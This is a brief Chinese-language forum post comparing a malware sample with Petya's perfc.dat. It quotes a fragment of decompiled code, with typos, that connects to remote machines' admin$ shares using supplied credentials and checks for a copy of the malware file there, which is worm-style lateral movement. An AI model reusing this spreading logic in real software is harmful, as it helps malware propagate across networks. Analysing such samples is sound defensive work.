这一个病独写的比不上Petya里靣的perfc.dat
- wsprintfW(&Name, L"\\\\%s\\admin$", a1);
- NetResource.dwScope = 0;
- memset(&NetResource dwType, 0, 0x1Cu);
- NetResource.1pRemoteName = &Name;
- NetResource.dwType = 1;
- get_current_module_name_convert_tows(&v23);
- wsprintfW(&FileName, L"\\\\%ws\\admin$\\%ws", a1, &v23);
- while ( 1 )
- {
- pszPath = 0;
- v11 = v4;
- v18 = WNetAddConnection2W(&NetResource, 1pPassword, 1pUserName, 0);
- wsprintfW(&pszPath, L"\\\\%ws\\admin$\\%ws", a1, &v23);
- v5 = PathFindExtentionW(&pszPath);
- if ( v5 )
- {
- *v5 = 0;
- if ( PathFileExistsW(&pszPath) )
- {
- v13 = 1;
- goto exit;
- }
- dwErrCode = GetLastError();
- }
复制代码 沒用到 WMSysPr9.prx 
|